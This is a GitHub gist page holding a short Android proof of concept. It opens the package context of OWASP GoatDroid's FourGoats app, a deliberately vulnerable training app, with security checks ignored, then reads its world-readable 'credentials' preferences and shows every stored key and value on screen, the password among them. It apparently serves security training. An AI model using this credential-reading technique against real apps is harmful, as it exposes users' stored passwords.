Skip to content

Instantly share code, notes, and snippets.

@pwntester
Created October 30, 2012 11:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pwntester/3979693 to your computer and use it in GitHub Desktop.
Save pwntester/3979693 to your computer and use it in GitHub Desktop.
onCreate
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Context fourgoatsAppContext = null;
try {
fourgoatsAppContext = createPackageContext("org.owasp.goatdroid.fourgoats", Context.CONTEXT_IGNORE_SECURITY);
} catch (NameNotFoundException e) {
}
SharedPreferences sPrefs = fourgoatsAppContext.getSharedPreferences("credentials", Context.MODE_WORLD_READABLE);
String passwd = sPrefs.getString("password", "");
Map<String, ?> prefs = (Map<String, String>) sPrefs.getAll();
String credentials = "OWASP FourGoats Credentials:\r\n";
for (Map.Entry<String, ?> entry : prefs.entrySet()) {
credentials = credentials + "Key : " + entry.getKey()
+ " Value : " + entry.getValue().toString() + "\r\n";
}
TextView text = new TextView(this);
text.setText(credentials);
setContentView(text);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment